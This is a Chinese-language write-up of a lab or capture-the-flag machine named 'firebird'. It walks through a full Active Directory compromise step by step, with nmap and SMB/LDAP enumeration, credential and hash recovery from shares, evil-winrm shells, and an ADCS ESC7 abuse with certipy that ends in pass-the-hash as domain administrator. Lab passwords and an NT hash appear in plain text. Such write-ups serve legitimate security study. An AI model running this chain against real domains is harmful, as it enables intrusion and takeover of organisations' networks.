

firebird

作者提供的初始凭据：

```
1      \l104567/Pass_123456!
```

主机探测

主机发现

```
1      192.168.200.128
```

TCP全端口发现

```
1      # Nmap 7.95 scan initiated Sun Jul 26 06:54:26 2026 as: nmap -sT -p- -T4 -oA TCPports -v 192.168.200.128
2      Nmap scan report for 192.168.200.128
3      Host is up (0.00094s latency).
4      Not shown: 65514 filtered tcp ports (no-response)
5      PORT      STATE SERVICE
6      53/tcp      open  domain
7      88/tcp      open  kerberos-sec
8      135/tcp     open  msrpc
9      139/tcp     open  netbios-ssn
10     389/tcp     open  ldap
11     445/tcp     open  microsoft-ds
12     464/tcp     open  kpasswd5
13     593/tcp     open  http-rpc-epmap
14     636/tcp     open  ldapssl
15     3268/tcp    open  globalcatLDAP
16     3269/tcp    open  globalcatLDAPssl
17     5985/tcp    open  wsman
18     9389/tcp    open  adws
19     49664/tcp   open  unknown
20     49667/tcp   open  unknown
21     49668/tcp   open  unknown
22     49678/tcp   open  unknown
23     49679/tcp   open  unknown
24     49694/tcp   open  unknown
25     53404/tcp   open  unknown
26     53421/tcp   open  unknown
27     MAC Address: 00:0C:29:8F:5C:9D (VMware)
28
29     Read data files from: /usr/bin/../share/nmap
30     # Nmap done at Sun Jul 26 06:55:54 2026 -- 1 IP address (1 host up) scanned in 87.71 seconds
```

UDP端口发现

```
1      # Nmap 7.95 scan initiated Sun Jul 26 06:54:54 2026 as: nmap -sU --top-ports 50 -oA UDPports 192.168.200.128
2      Nmap scan report for 192.168.200.128
3      Host is up (0.00044s latency).
4      Not shown: 47 open|filtered udp ports (no-response)
5      PORT      STATE SERVICE
6      53/udp      open  domain
7      123/udp     open  ntp
8      137/udp     open  netbios-ns
9      MAC Address: 00:0C:29:8F:5C:9D (VMware)
10
11     # Nmap done at Sun Jul 26 06:54:56 2026 -- 1 IP address (1 host up) scanned in 1.99 seconds
```

高权重扫描

端口整理：

```
1      └─[shlr0@parrot]─[~/study/mazesec/firebird]
2      └─$grep open TCPports.nmap| awk -F '/' '{print $1}'|paste -sd ', '
3      53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49668,49678,49679,49694,53404,53421
4      └─[shlr0@parrot]─[~/study/mazesec/firebird]
5      └─$port=$(grep open TCPports.nmap| awk -F '/' '{print $1}'|paste -sd ', ')
```

详细信息扫描

```
1      # Nmap 7.95 scan initiated Sun Jul 26 06:57:41 2026 as: nmap -sTCV -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49668,49678,49679,49694,53404,53421 -oA
detail 192.168.200.128
2      Nmap scan report for 192.168.200.128
3      Host is up (0.00099s latency).
4
5      PORT      STATE SERVICE      VERSION
6      53/tcp      open  domain       Simple DNS Plus
7      88/tcp      open  kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-26 10:57:48Z)
8      135/tcp     open  msrpc        Microsoft Windows RPC
9      139/tcp     open  netbios-ssn  Microsoft Windows netbios-ssn
10     389/tcp     open  ldap         Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
11     |_ssl-date: 2026-07-26T10:59:19+00:00; -1s from scanner time.
12     | ssl-cert: Subject: commonName=firebird.firebird.local
13     | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
14     | Not valid before: 2026-07-21T10:57:06
15     |_Not valid after: 2027-07-21T10:57:06
16     445/tcp     open  microsoft-ds?
17     464/tcp     open  kpasswd5?
18     593/tcp     open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
19     636/tcp     open  ssl/ldap     Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
20     |_ssl-date: 2026-07-26T10:59:19+00:00; -1s from scanner time.
21     | ssl-cert: Subject: commonName=firebird.firebird.local
22     | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
23     | Not valid before: 2026-07-21T10:57:06
24     |_Not valid after: 2027-07-21T10:57:06
25     3268/tcp    open  ldap         Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
26     | ssl-cert: Subject: commonName=firebird.firebird.local
```

```
27 | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
28 | Not valid before: 2026-07-21T10:57:06
29 |_Not valid after: 2027-07-21T10:57:06
30 |_ssl-date: 2026-07-26T10:59:19+00:00; -1s from scanner time.
31 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: firebird.local, Site: Default-First-Site-Name)
32 | ssl-cert: Subject: commonName=firebird.firebird.local
33 | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:firebird.firebird.local
34 | Not valid before: 2026-07-21T10:57:06
35 |_Not valid after: 2027-07-21T10:57:06
36 |_ssl-date: 2026-07-26T10:59:19+00:00; -1s from scanner time.
37 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
38 |_http-title: Not Found
39 |_http-server-header: Microsoft-HTTPAPI/2.0
40 9389/tcp open mc-nmf .NET Message Framing
41 49664/tcp open msrpc Microsoft Windows RPC
42 49667/tcp open msrpc Microsoft Windows RPC
43 49668/tcp open msrpc Microsoft Windows RPC
44 49678/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
45 49679/tcp open msrpc Microsoft Windows RPC
46 49694/tcp open msrpc Microsoft Windows RPC
47 53404/tcp open msrpc Microsoft Windows RPC
48 53421/tcp open msrpc Microsoft Windows RPC
49 MAC Address: 00:0C:29:8F:5C:9D (VMware)
50 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
51 Device type: general purpose
52 Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%)
53 OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2016
54 Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%)
55 No exact OS matches for host (test conditions non-ideal).
56 Network Distance: 1 hop
57 Service Info: Host: FIREBIRD; OS: Windows; CPE: cpe:/o:microsoft:windows
58
59 Host script results:
60 | smb2-security-mode:
61 | 3:1:1:
62 |_ Message signing enabled and required
63 | smb2-time:
64 | date: 2026-07-26T10:58:40
65 |_ start_date: N/A
66 |_nbstat: NetBIOS name: FIREBIRD, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:8f:5c:9d (VMware)
67
68 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
69 # Nmap done at Sun Jul 26 06:59:20 2026 -- 1 IP address (1 host up) scanned in 98.31 seconds
```

DNS

dig

查询 A, AAAA, CNAME, MX, txt以及区域传送:

```
1 └─[shlr0@parrot]--[~/study/mazesec/firebird]
2 └─ $dig @192.168.200.128 firebird.local A
3
4 ; <<>> DiG 9.20.23-1~deb13u1-Debian <<>> @192.168.200.128 firebird.local A
5 ; (1 server found)
6 ;; global options: +cmd
7 ;; Got answer:
8 ;; WARNING: .local is reserved for Multicast DNS
9 ;; You are currently testing what happens when an mDNS query is leaked to DNS
10 ;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 64340
11 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
12
13 ;; OPT PSEUDOSECTION:
14 ; EDNS: version: 0, flags:; udp: 4000
15 ;; QUESTION SECTION:
16 ;firebird.local. IN A
17
18 ;; ANSWER SECTION:
19 firebird.local. 600 IN A 192.168.200.128
20 firebird.local. 600 IN A 192.168.21.137
21
22 ;; Query time: 1 msec
23 ;; SERVER: 192.168.200.128#53(192.168.200.128) (UDP)
24 ;; WHEN: Sun Jul 26 07:01:29 EDT 2026
25 ;; MSG SIZE rcvd: 75
26
27 └─[shlr0@parrot]--[~/study/mazesec/firebird]
28 └─ $dig @192.168.200.128 firebird.local AAAA
29
30 ; <<>> DiG 9.20.23-1~deb13u1-Debian <<>> @192.168.200.128 firebird.local AAAA
31 ; (1 server found)
32 ;; global options: +cmd
33 ;; Got answer:
34 ;; WARNING: .local is reserved for Multicast DNS
35 ;; You are currently testing what happens when an mDNS query is leaked to DNS
36 ;; ->HEADER<- opcode: QUERY, status: NOERROR, id: 21839
37 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
38
39 ;; OPT PSEUDOSECTION:
40 ; EDNS: version: 0, flags:; udp: 4000
41 ;; QUESTION SECTION:
42 ;firebird.local. IN AAAA
43
44 ;; AUTHORITY SECTION:
45 firebird.local. 3600 IN SOA firebird.firebird.local. hostmaster.firebird.local. 32 900 600 86400 3600
46
47 ;; Query time: 0 msec
48 ;; SERVER: 192.168.200.128#53(192.168.200.128) (UDP)
49 ;; WHEN: Sun Jul 26 07:01:31 EDT 2026
50 ;; MSG SIZE rcvd: 99
51
52 └─[shlr0@parrot]--[~/study/mazesec/firebird]
53 └─ $dig @192.168.200.128 firebird.local CNAME
54
55 ; <<>> DiG 9.20.23-1~deb13u1-Debian <<>> @192.168.200.128 firebird.local CNAME
56 ; (1 server found)
57 ;; global options: +cmd
58 ;; Got answer:
```

```
59 ;; WARNING: .local is reserved for Multicast DNS
60 ;; You are currently testing what happens when an mDNS query is leaked to DNS
61 ;; -->HEADER<-- opcode: QUERY, status: NOERROR, id: 28709
62 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
63
64 ;; OPT PSEUDOSECTION:
65 ; EDNS: version: 0, flags:; udp: 4000
66 ;; QUESTION SECTION:
67 ;firebird.local.                IN      CNAME
68
69 ;; AUTHORITY SECTION:
70 firebird.local.      3600    IN      SOA      firebird.firebird.local. hostmaster.firebird.local. 32 900 600 86400 3600
71
72 ;; Query time: 2 msec
73 ;; SERVER: 192.168.200.128#53(192.168.200.128) (UDP)
74 ;; WHEN: Sun Jul 26 07:01:35 EDT 2026
75 ;; MSG SIZE rcvd: 99
76
77 └─[shlr0@parrot]─[~/study/mazesec/firebird]
78 └─ $dig @192.168.200.128 firebird.local MX
79
80 ; <<>> DiG 9.20.23-1~deb13u1-Debian <<>> @192.168.200.128 firebird.local MX
81 ; (1 server found)
82 ;; global options: +cmd
83 ;; Got answer:
84 ;; WARNING: .local is reserved for Multicast DNS
85 ;; You are currently testing what happens when an mDNS query is leaked to DNS
86 ;; -->HEADER<-- opcode: QUERY, status: NOERROR, id: 36683
87 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
88
89 ;; OPT PSEUDOSECTION:
90 ; EDNS: version: 0, flags:; udp: 4000
91 ;; QUESTION SECTION:
92 ;firebird.local.                IN      MX
93
94 ;; AUTHORITY SECTION:
95 firebird.local.      3600    IN      SOA      firebird.firebird.local. hostmaster.firebird.local. 32 900 600 86400 3600
96
97 ;; Query time: 0 msec
98 ;; SERVER: 192.168.200.128#53(192.168.200.128) (UDP)
99 ;; WHEN: Sun Jul 26 07:01:40 EDT 2026
100 ;; MSG SIZE rcvd: 99
101
102 └─[shlr0@parrot]─[~/study/mazesec/firebird]
103 └─ $dig @192.168.200.128 firebird.local TXT
104
105 ; <<>> DiG 9.20.23-1~deb13u1-Debian <<>> @192.168.200.128 firebird.local TXT
106 ; (1 server found)
107 ;; global options: +cmd
108 ;; Got answer:
109 ;; WARNING: .local is reserved for Multicast DNS
110 ;; You are currently testing what happens when an mDNS query is leaked to DNS
111 ;; -->HEADER<-- opcode: QUERY, status: NOERROR, id: 56353
112 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
113
114 ;; OPT PSEUDOSECTION:
115 ; EDNS: version: 0, flags:; udp: 4000
116 ;; QUESTION SECTION:
117 ;firebird.local.                IN      TXT
118
119 ;; AUTHORITY SECTION:
120 firebird.local.      3600    IN      SOA      firebird.firebird.local. hostmaster.firebird.local. 32 900 600 86400 3600
121
122 ;; Query time: 0 msec
123 ;; SERVER: 192.168.200.128#53(192.168.200.128) (UDP)
124 ;; WHEN: Sun Jul 26 07:01:43 EDT 2026
125 ;; MSG SIZE rcvd: 99
126
127 └─[shlr0@parrot]─[~/study/mazesec/firebird]
128 └─ $dig @192.168.200.128 firebird.local -t axfr
129
130 ; <<>> DiG 9.20.23-1~deb13u1-Debian <<>> @192.168.200.128 firebird.local -t axfr
131 ; (1 server found)
132 ;; global options: +cmd
133 ; Transfer failed.
```

配置hosts:

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $tail -n 1 /etc/hosts
3 192.168.200.128 firebird.local firebird.firebird.local hostmaster.firebird.local
```

Samba

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $sudo nxc smb 192.168.200.128 -u ll104567 -p 'Pass_123456!' --shares
3 SMB      192.168.200.128 445 FIREBIRD      [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:None) (Null Auth:True)
4 SMB      192.168.200.128 445 FIREBIRD      [+] firebird.local\ll104567:Pass_123456!
5 SMB      192.168.200.128 445 FIREBIRD      [*] Enumerated shares
6 SMB      192.168.200.128 445 FIREBIRD      Share      Permissions      Remark
7 SMB      192.168.200.128 445 FIREBIRD      _____
8 SMB      192.168.200.128 445 FIREBIRD      ADMIN$      Remote Admin
9 SMB      192.168.200.128 445 FIREBIRD      C$          Default share
10 SMB     192.168.200.128 445 FIREBIRD      DB_Vault
11 SMB     192.168.200.128 445 FIREBIRD      IPC$      READ      Remote IPC
12 SMB     192.168.200.128 445 FIREBIRD      NETLOGON   READ      Logon server share
13 SMB     192.168.200.128 445 FIREBIRD      SYSVOL     READ      Logon server share
```

密码策略:

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $sudo nxc smb 192.168.200.128 -u ll104567 -p 'Pass_123456!' --pass-pol
3 SMB      192.168.200.128 445 FIREBIRD      [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:None) (Null Auth:True)
4 SMB      192.168.200.128 445 FIREBIRD      [+] firebird.local\ll104567:Pass_123456!
5 SMB      192.168.200.128 445 FIREBIRD      [+] Dumping password info for domain: FIREBIRD_DOM
```

6	SMB	192.168.200.128	445	FIREBIRD	Minimum password length: None
7	SMB	192.168.200.128	445	FIREBIRD	Password history length: 24
8	SMB	192.168.200.128	445	FIREBIRD	Maximum password age: 41 days 23 hours 53 minutes
9	SMB	192.168.200.128	445	FIREBIRD	
10	SMB	192.168.200.128	445	FIREBIRD	Password Complexity Flags: 000000
11	SMB	192.168.200.128	445	FIREBIRD	Domain Refuse Password Change: 0
12	SMB	192.168.200.128	445	FIREBIRD	Domain Password Store Cleartext: 0
13	SMB	192.168.200.128	445	FIREBIRD	Domain Password Lockout Admins: 0
14	SMB	192.168.200.128	445	FIREBIRD	Domain Password No Clear Change: 0
15	SMB	192.168.200.128	445	FIREBIRD	Domain Password No Anon Change: 0
16	SMB	192.168.200.128	445	FIREBIRD	Domain Password Complex: 0
17	SMB	192.168.200.128	445	FIREBIRD	
18	SMB	192.168.200.128	445	FIREBIRD	Minimum password age: 1 day 4 minutes
19	SMB	192.168.200.128	445	FIREBIRD	Reset Account Lockout Counter: 30 minutes
20	SMB	192.168.200.128	445	FIREBIRD	Locked Account Duration: 30 minutes
21	SMB	192.168.200.128	445	FIREBIRD	Account Lockout Threshold: None
22	SMB	192.168.200.128	445	FIREBIRD	Forced Log off Time: Not Set

ldap

ldapsearch

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $ldapsearch -H ldap://firebird.local -x -D "ll104567@firebird.local" -w 'Pass_123456!' -b "DC=firebird,DC=local" "(ObjectClass=user)" > ldap_users.txt
```

info发现 111凭据:

```
1 111:Ldap_P@ssw0rd_2026!
```

nxc 验证凭据 - 111

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $sudo nxc smb firebird.local -u 111 -p 'Ldap_P@ssw0rd_2026!'
3 [sudo] password for shlr0:
4 SMB 192.168.200.128 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:None) (Null Auth:True)
5 SMB 192.168.200.128 445 FIREBIRD [+] firebird.local\111:Ldap_P@ssw0rd_2026!
6 └─[shlr0@parrot]─[~/study/mazesec/firebird]
7 └─ $sudo nxc smb firebird.local -u 111 -p 'Ldap_P@ssw0rd_2026!' --shares
8 SMB 192.168.200.128 445 FIREBIRD [*] Windows Server 2022 Build 20348 x64 (name:FIREBIRD) (domain:firebird.local) (signing:True) (SMBv1:None) (Null Auth:True)
9 SMB 192.168.200.128 445 FIREBIRD [+] firebird.local\111:Ldap_P@ssw0rd_2026!
10 SMB 192.168.200.128 445 FIREBIRD [*] Enumerated shares
11 SMB 192.168.200.128 445 FIREBIRD
12 SMB 192.168.200.128 445 FIREBIRD
13 SMB 192.168.200.128 445 FIREBIRD
14 SMB 192.168.200.128 445 FIREBIRD
15 SMB 192.168.200.128 445 FIREBIRD
16 SMB 192.168.200.128 445 FIREBIRD
17 SMB 192.168.200.128 445 FIREBIRD
18 SMB 192.168.200.128 445 FIREBIRD
```

Share	Permissions	Remark
ADMIN\$		Remote Admin
C\$		Default share
DB_Vault	READ	
IPC\$	READ	Remote IPC
NETLOGON	READ	Logon server share
SYSVOL	READ	Logon server share

列出个共享 DB_Vault, 有 READ权限。

Samba

smbclient

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $smbclient //firebird.local/DB_Vault -U 111
3 Password for [WORKGROUP\111]:
4 Try "help" to get a list of possible commands.
5 smb: \> ls
6 . D 0 Tue Jul 21 06:51:16 2026
7 .. DHS 0 Tue Jul 21 08:35:01 2026
8 db_config.ini A 147 Tue Jul 21 12:11:20 2026
9
10 5158399 blocks of size 4096. 1887163 blocks available
11 smb: \> get db_config.ini
12 getting file \db_config.ini of size 147 as db_config.ini (7.2 KiloBytes/sec) (average 7.2 KiloBytes/sec)
13 smb: \>
```

拿到 sublarge凭据:

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $cat db_config.ini
3 [Database Service Configuration]
4 ServiceAccount=firebird\sublarge
5 AuthType=NTLM
6 BackupHash=2d9b24ded78750921eec7dfea8d54ae
7 LastUpdate=2026-07-21
```

在线网站解密:

```
1 2d9b24ded78750921eec7dfea8d54ae:j4**9c+p
```

nxc验证凭据 - sublarge

```
1 └─[shlr0@parrot]─[~/study/mazesec/firebird]
2 └─ $sudo nxc winrm firebird.local -u sublarge -p 'j4**9c+p'
3 WINRM 192.168.200.128 5985 FIREBIRD [*] Windows Server 2022 Build 20348 (name:FIREBIRD) (domain:firebird.local)
4 WINRM 192.168.200.128 5985 FIREBIRD [+] firebird.local\sublarge:j4**9c+p (Pwn3d!)
```

evil-winrm

走 winrm拿到 shell, user flag:

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $evil-winrm -i 192.168.200.128 -u sublarge -p 'j4**9c+p'
3
4  Evil-WinRM shell v3.5
5
6  Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
7
8  Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
9
10 Info: Establishing connection to remote endpoint
11 *Evil-WinRM* PS C:\Users\sublarge\Documents> whoami
12 firebird_dom\sublarge
13 *Evil-WinRM* PS C:\Users\sublarge\Documents> cd ../Desktop
14 *Evil-WinRM* PS C:\Users\sublarge\Desktop> dir
15
16
17 Directory: C:\Users\sublarge\Desktop
18
19
20 Mode                LastWriteTime         Length Name
21 ----                -
22 -a-----          7/21/2026   7:14 PM           34 user.txt
23
24
25 *Evil-WinRM* PS C:\Users\sublarge\Desktop> type user.txt
26 9585*****
```

winpeas – 提权向量枚举

```
1  *Evil-WinRM* PS C:\Users\sublarge> upload winPEASx64.exe
2
3  Info: Uploading /home/shlr0/study/mazesec/firebird/winPEASx64.exe to C:\Users\sublarge\winPEASx64.exe
4
5  Data: 13561172 bytes of 13561172 bytes copied
6
7  Info: Upload successful!
8  *Evil-WinRM* PS C:\Users\sublarge> .\winPEASx64.exe log
9  "log" argument present, redirecting output to file "out.txt"
```

AD CS

```
1  ===== AD CS misconfigurations for ESC
2  └─ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates.html
3  └─ Check for ADCS misconfigurations in the local DC registry
4  StrongCertificateBindingEnforcement: - Allow weak mapping if SID extension missing, may be vulnerable to ESC9.
5  CertificateMappingMethods: - Strong Certificate mapping enabled.
6  IF_ENFORCEENCRYPTICERTREQUEST set in InterfaceFlags - not vulnerable to ESC11.
7  szOID_NTDS_CA_SECURITY_EXT not disabled for the CA - not vulnerable to ESC16.
8  └─
9  If you can modify a template (WriteDacl/WriteOwner/GenericAll), you can abuse ESC4
10 Dangerous rights over template: User (Rights: WriteProperty,ExtendedRight)
11 Dangerous rights over template: UserSignature (Rights: WriteProperty,ExtendedRight)
12 Dangerous rights over template: ClientAuth (Rights: WriteProperty,ExtendedRight)
13 Dangerous rights over template: EFS (Rights: WriteProperty,ExtendedRight)
14 [*] Tip: Abuse with tools like Certipy (template write → ESC1 → enroll).
```

certipy-ad

枚举:

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $certipy-ad find -u 'sublarge@firebird.local' -p 'j4**9c+p' -dc-ip 192.168.200.128 -enabled
3  Certipy v5.0.4 - by Oliver Lyak (Ly4k)
4
5  [*] Finding certificate templates
6  [*] Found 33 certificate templates
7  [*] Finding certificate authorities
8  [*] Found 1 certificate authority
9  [*] Found 11 enabled certificate templates
10 [*] Finding issuance policies
11 [*] Found 13 issuance policies
12 [*] Found 0 OIDs linked to templates
13 [*] Retrieving CA configuration for 'firebird-FIREBIRD-CA' via RRP
14 [!] Failed to connect to remote registry. Service should be starting now. Trying again...
15 [*] Successfully retrieved CA configuration for 'firebird-FIREBIRD-CA'
16 [*] Checking web enrollment for CA 'firebird-FIREBIRD-CA' @ 'firebird.firebird.local'
17 [!] Error checking web enrollment: timed out
18 [!] Use -debug to print a stacktrace
19 [!] Error checking web enrollment: timed out
20 [!] Use -debug to print a stacktrace
21 [*] Saving text output to '20260726145914_Certipy.txt'
22 [*] Wrote text output to '20260726145914_Certipy.txt'
23 [*] Saving JSON output to '20260726145914_Certipy.json'
24 [*] Wrote JSON output to '20260726145914_Certipy.json'
```

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $cat 20260726145914_Certipy.txt
3  Certificate Authorities
4  0
5  CA Name                : firebird-FIREBIRD-CA
6  DNS Name                : firebird.firebird.local
7  Certificate Subject     : CN=firebird-FIREBIRD-CA, DC=firebird, DC=local
8  Certificate Serial Number : 11852CD80146F4AC427AC06BC59D7D9D
9  Certificate Validity Start : 2026-07-21 10:56:05+00:00
10 Certificate Validity End   : 2031-07-21 11:06:05+00:00
11 Web Enrollment
12 HTTP
13 Enabled                 : False
14 HTTPS
15 Enabled                 : False
16 User Specified SAN      : Disabled
17 Request Disposition     : Issue
18 Enforce Encryption for Requests : Enabled
```


19	Active Policy	: CertificateAuthority_MicrosoftDefault.Policy
20	Permissions	
21	Owner	: FIREBIRD.LOCAL\Administrators
22	Access Rights	
23	Enroll	: FIREBIRD.LOCAL\Authenticated Users
24	FIREBIRD.LOCAL\CertManagers_Group	
25	ManageCa	: FIREBIRD.LOCAL\CertManagers_Group
26	FIREBIRD.LOCAL\Domain Admins	
27	FIREBIRD.LOCAL\Enterprise Admins	
28	FIREBIRD.LOCAL\Administrators	
29	ManageCertificates	: FIREBIRD.LOCAL\CertManagers_Group
30	FIREBIRD.LOCAL\Domain Admins	
31	FIREBIRD.LOCAL\Enterprise Admins	
32	FIREBIRD.LOCAL\Administrators	
33	[+] User Enrollable Principals	: FIREBIRD.LOCAL\CertManagers_Group
34	FIREBIRD.LOCAL\Authenticated Users	
35	[+] User ACL Principals	: FIREBIRD.LOCAL\CertManagers_Group
36	[!] Vulnerabilities	
37	ESC7	: User has dangerous permissions.

ESC7 利用

参考文章：

<https://www.hackingarticles.in/adcs-esc7-vulnerable-certificate-authority-access-control/>

添加证书管理员：

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $certipy-ad ca -ca firebird-FIREBIRD-CA -add-officer sublarge -u sublarge@firebird.local -p 'j4**9c+p' -target 192.168.200.128 -dc-ip 192.168.200.128
3  Certipy v5.0.4 - by Oliver Lyak (ly4k)
4
5  [*] Successfully added officer 'sublarge' on 'firebird-FIREBIRD-CA'
```

启用危险模板：

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $certipy-ad ca -ca firebird-FIREBIRD-CA -u sublarge@firebird.local -p 'j4**9c+p' -target 192.168.200.128 -enable-template SubCA -dc-ip 192.168.200.128
3  Certipy v5.0.4 - by Oliver Lyak (ly4k)
4
5  [*] Successfully enabled 'SubCA' on 'firebird-FIREBIRD-CA'
```

以管理员身份申请证书：

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $certipy-ad req -u sublarge@firebird.local -p 'j4**9c+p' -ca firebird-FIREBIRD-CA -target 192.168.200.128 -template SubCA -upn administrator@firebird.local -dc-ip 192.168.200.128 -debug
3  Certipy v5.0.4 - by Oliver Lyak (ly4k)
4
5  [+] DC host (-dc-host) not specified. Using domain as DC host
6  [+] Nameserver: '192.168.200.128'
7  [+] DC IP: '192.168.200.128'
8  [+] DC Host: 'FIREBIRD.LOCAL'
9  [+] Target IP: '192.168.200.128'
10 [+] Remote Name: '192.168.200.128'
11 [+] Domain: 'FIREBIRD.LOCAL'
12 [+] Username: 'SUBLARGE'
13 [+] Generating RSA key
14 [*] Requesting certificate via RPC
15 [+] Trying to connect to endpoint: ncacn_np:192.168.200.128[\pipe\cert]
16 [+] Connected to endpoint: ncacn_np:192.168.200.128[\pipe\cert]
17 [*] Request ID is 7
18 [-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
19 Would you like to save the private key? (y/N): y
20 [*] Saving private key to '7.key'
21 [+] Attempting to write data to '7.key'
22 [+] Data written to '7.key'
23 [*] Wrote private key to '7.key'
24 [-] Failed to request certificate
```

处理请求：

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $certipy-ad ca -u sublarge@firebird.local -p 'j4**9c+p' -ca firebird-FIREBIRD-CA -target 192.168.200.128 -issue-request 7 -dc-ip 192.168.200.128
3  Certipy v5.0.4 - by Oliver Lyak (ly4k)
4
5  [*] Successfully issued certificate request ID 7
```

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $certipy-ad req -u sublarge@firebird.local -p 'j4**9c+p' -ca firebird-FIREBIRD-CA -target 192.168.200.128 -template SubCA -retrieve 7 -dc-ip 192.168.200.128
3  Certipy v5.0.4 - by Oliver Lyak (ly4k)
4
5  [*] Retrieving certificate with ID 7
6  [*] Successfully retrieved certificate
7  [*] Got certificate with UPN 'administrator@firebird.local'
8  [*] Certificate has no object SID
9  [*] Loaded private key from '7.key'
10 [*] Saving certificate and private key to 'administrator.pfx'
11 [*] Wrote certificate and private key to 'administrator.pfx'
```

使用证书进行管理员身份验证：

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.200.128
3  Certipy v5.0.4 - by Oliver Lyak (ly4k)
4
5  [*] Certificate identities:
6  [*] SAN UPN: 'administrator@firebird.local'
7  [*] Using principal: 'administrator@firebird.local'
8  [*] Trying to get TGT ...
9  [*] Got TGT
```

```
10  [*] Saving credential cache to 'administrator.ccache'
11  [*] Wrote credential cache to 'administrator.ccache'
12  [*] Trying to retrieve NT hash for 'administrator'
13  [*] Got hash for 'administrator@firebird.local': aad3b435b51404eeaad3b435b51404ee:9fbb1566fa1ff2c13c56255d7e360635
```

走 winrm拿到 域管理员，以及 root flag:

```
1  └─[shlr0@parrot]─[~/study/mazesec/firebird]
2  └─ $evil-winrm -i 192.168.200.128 -u administrator -H 9fbb1566fa1ff2c13c56255d7e360635
3
4  Evil-WinRM shell v3.5
5
6  Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
7
8  Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
9
10 Info: Establishing connection to remote endpoint
11 *Evil-WinRM* PS C:\Users\Administrator.FIREBIRD_DOM\Documents> whoami
12 firebird_dom\administrator
13 *Evil-WinRM* PS C:\Users\Administrator.FIREBIRD_DOM\Documents> cd ../Desktop
14 *Evil-WinRM* PS C:\Users\Administrator.FIREBIRD_DOM\Desktop> dir
15
16
17 Directory: C:\Users\Administrator.FIREBIRD_DOM\Desktop
18
19
20 Mode                LastWriteTime         Length Name
21 ----                -
22 -a----- 7/21/2026 7:14 PM           34 root.txt
23
24
25 *Evil-WinRM* PS C:\Users\Administrator.FIREBIRD_DOM\Desktop> type root.txt
26 b88*****
```